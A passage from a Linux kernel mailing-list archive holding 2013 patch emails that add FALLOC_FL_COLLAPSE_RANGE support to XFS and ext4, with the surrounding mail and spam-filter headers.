struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int state; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } + else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < count && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + state = 0; + + gotp = xfs_iext_get_ext(ifp, *current_ext); + startoff = xfs_bmbt_get_startoff(gotp); + startoff -= shift; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + state |= BMAP_LEFT_VALID; + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (isnullstartblock(left.br_startblock)) + state |= BMAP_LEFT_DELAY; + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EFSCORRUPTED); + + } else if (startoff > xfs_bmbt_get_startoff(gotp)) + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EFSCORRUPTED); + + if (error) + goto del_cursor; + + /* Check if we can merge 2 adjacent extents */ + if ((state & BMAP_LEFT_VALID) && !(state & BMAP_LEFT_DELAY) && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + xfs_bmbt_get_startblock(gotp) && + xfs_bmbt_get_state(gotp) == left.br_state && + left.br_blockcount + xfs_bmbt_get_blockcount(gotp) <= + MAXEXTLEN) { + blockcount = + left.br_blockcount + xfs_bmbt_get_blockcount(gotp); + state |= BMAP_LEFT_CONTIG; + xfs_iext_remove(ip, *current_ext, 1, 0); + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + } + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + xfs_bmbt_get_startoff(gotp), + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + if (state & BMAP_LEFT_CONTIG) { + /* We have to update extent block count */ + xfs_bmbt_set_blockcount(gotp, blockcount); + } else { + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + } + + if (cur) { + error = xfs_bmbt_update(cur, + xfs_bmbt_get_startoff(gotp), + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + xfs_bmbt_get_state(gotp)); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..b16ebfa 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -169,5 +169,8 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *, struct xfs_inode *, + int *, xfs_fileoff_t, xfs_fileoff_t, xfs_extnum_t *, + xfs_fsblock_t *, struct xfs_bmap_free *, int); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 541d59f..57f045e 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1556,6 +1556,7 @@ xfs_change_file_space( case XFS_IOC_RESVSP64: case XFS_IOC_UNRESVSP: case XFS_IOC_UNRESVSP64: + case XFS_COLLAPSE_RANGE: if (bf->l_len <= 0) return XFS_ERROR(EINVAL); break; @@ -1638,6 +1639,12 @@ xfs_change_file_space( clrprealloc = 1; break; + case XFS_COLLAPSE_RANGE: + error = xfs_collapse_file_space(ip, startoffset, bf->l_len, + attr_flags); + if (error) + return error; + break; default: ASSERT(0); @@ -1683,6 +1690,95 @@ xfs_change_file_space( return xfs_trans_commit(tp, 0); } + +/* + * xfs_collapse_file_space: Implements the FALLOC_FL_COLLAPSE_SPACE flag. + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + loff_t offset, + loff_t len, + int attr_flags) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + uint resblks; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + xfs_fileoff_t start_fsb = XFS_B_TO_FSB(mp, offset + len); + xfs_fileoff_t shift_fsb = XFS_B_TO_FSB(mp, len); + + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + + /* + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. + */ + + error = xfs_free_file_space(ip, offset, len, attr_flags); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, + resblks, 0, XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, 2); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + return error; +} + /* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 0612609..588d29d 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -97,6 +97,8 @@ int xfs_change_file_space(struct xfs_inode *ip, int cmd, xfs_flock64_t *bf, xfs_off_t offset, int attr_flags); +int xfs_collapse_file_space(struct xfs_inode *, loff_t, loff_t, int); + /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); int xfs_free_eofblocks(struct xfs_mount *mp, struct xfs_inode *ip, diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 818c623..9c9c1ff 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -807,7 +807,8 @@ xfs_file_fallocate( int cmd = XFS_IOC_RESVSP; int attr_flags = XFS_ATTR_NOLOCK; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; bf.l_whence = 0; @@ -819,10 +820,19 @@ xfs_file_fallocate( if (mode & FALLOC_FL_PUNCH_HOLE) cmd = XFS_IOC_UNRESVSP; - /* check the new inode size is valid before allocating */ - if (!(mode & FALLOC_FL_KEEP_SIZE) && - offset + len > i_size_read(inode)) { + /* Shrink size in case of FALLOC_FL_COLLAPSE_RANGE */ + if (mode & FALLOC_FL_COLLAPSE_RANGE) { + cmd = XFS_COLLAPSE_RANGE; + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + } else if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) new_size = offset + len; + + /* check the new inode size is valid before allocating */ + if (new_size || mode & FALLOC_FL_COLLAPSE_RANGE) { error = inode_newsize_ok(inode, new_size); if (error) goto out_unlock; @@ -836,7 +846,7 @@ xfs_file_fallocate( goto out_unlock; /* Change file size if needed */ - if (new_size) { + if (new_size || mode & FALLOC_FL_COLLAPSE_RANGE) { struct iattr iattr; iattr.ia_valid = ATTR_SIZE; diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 1edb5cc..99f5244 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -516,6 +516,12 @@ typedef struct xfs_swapext #define XFS_IOC_GETBMAPX _IOWR('X', 56, struct getbmap) #define XFS_IOC_ZERO_RANGE _IOW ('X', 57, struct xfs_flock64) #define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_eofblocks) +/* + * Although there is no ioctl implemented yet, we reserve an ioctl number for + * representing collapse range operation to avoid any possible collision in + * switch case of xfs_change_file_space. + */ +#define XFS_COLLAPSE_RANGE _IOW('X', 59, struct xfs_flock64) /* * ioctl commands that replace IRIX syssgi()'s -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:29:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7462C7F63 for ; Mon, 2 Sep 2013 09:29:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2E6C130404E for ; Mon, 2 Sep 2013 07:29:34 -0700 (PDT) X-ASG-Debug-ID: 1378132172-04bdf02f20d16a40001-NocioJ Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41]) by cuda.sgi.com with ESMTP id kLXlEtaUkZQjgXDR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:29:32 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.41 Received: by mail-pa0-f41.google.com with SMTP id bj1so5287229pad.0 for ; Mon, 02 Sep 2013 07:29:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=KxLjUWGzQdb0J75Exlu1H8drkkFh+cfYxDIcWcdcHqc=; b=LMU7UIE8shzQuWMnoUuh/bKirotjBNDrbd9905p6qtdf49vwAkgsFOHiUy28sdFfdi wWnLwu3BUhoijcFVfjLl9RFLPRNA24fKzm4X41+Odg3VHGmfP3bmyaBZe81c9Wstlew7 qlL+arcuB82Ho8U5jKe6jZo9ZJ7yXhdGZN8xqFHwjLYyXu/QViemMosQ7oJ436x4OnMx rGt8Mt8dLAN9T8GRctPUPw8AU1dJlx5tjdXe7xO0j9ObUzn40sWLjBuS7RSr43Pc3Slh kIseUU2OYMidc2prMS7ez1WxFGRyZGMer/xoKBICWlfWsqB5Y6sTE37bD4ppJv5TO/r4 AFHg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.143.38 with SMTP id sb6mr26034356pbb.44.1378132172443; Mon, 02 Sep 2013 07:29:32 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id dg3sm16253445pbc.24.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:29:32 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Mon, 2 Sep 2013 23:29:24 +0900 X-ASG-Orig-Subj: [PATCH v3 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378132164-2719-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f41.google.com[209.85.220.41] X-Barracuda-Start-Time: 1378132172 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 286 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 314 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index f3c43fc..a13e0f4 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2737,6 +2737,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2748,6 +2749,8 @@ void ext4_inode_double_unlock(struct inode *inode1, struct inode *inode2); extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 54d52af..baf1faf 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4580,12 +4580,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4884,3 +4888,283 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + ext4_ext_try_to_merge(handle, inode, + path, ex_start); + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EIO; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 7fa4d85..4cbebb0 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:29:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E5C947F55 for ; Mon, 2 Sep 2013 09:29:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B83FE30407F for ; Mon, 2 Sep 2013 07:29:48 -0700 (PDT) X-ASG-Debug-ID: 1378132187-04bdf02f20d16a70001-NocioJ Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) by cuda.sgi.com with ESMTP id ZYO1LBwRkFL8QYa9 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:29:47 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.49 Received: by mail-pb0-f49.google.com with SMTP id xb4so4795196pbc.36 for ; Mon, 02 Sep 2013 07:29:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=F4ebhWNmyA0i0NM/r8CHh8Vm86OqTlFqgGMFuIIoh8A=; b=CxaDjt8AfoOkAqd1WDuzzf5/0tWCz2AQyaLEN4C/95uvz1dkoWCYFHQD3juQCKB7NO Jg6D/iDgLPhDQqg2VYzq0viZaeyderqXc2oCUagWA+AOlr2DdxFzO4p0H0T1k4/VVnHz 5vKvlLWQwA83zBCkpkoo0QVhgoJVblUgTD1H9R0wXby164K5toBgrHlbrsUoJNvvJRen 05r0QCNktEVqNYJBPAtbRQ1FGbxbvpqeROWQDnHYiIDgj9oM9Q77/gxJzyAgQPnjjRKt B5stHfnuTeaol1bCn7Qq7MC7aw0U1brhXcQGL3zsLHfmUASQrD+16d6J9cPwDHo0HhZY y8Rw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.254.226 with SMTP id al2mr3339565pbd.157.1378132187259; Mon, 02 Sep 2013 07:29:47 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id 7sm17494626paf.22.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:29:47 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v4 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Mon, 2 Sep 2013 23:29:38 +0900 X-ASG-Orig-Subj: [PATCH v4 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378132178-2753-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f49.google.com[209.85.160.49] X-Barracuda-Start-Time: 1378132187 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 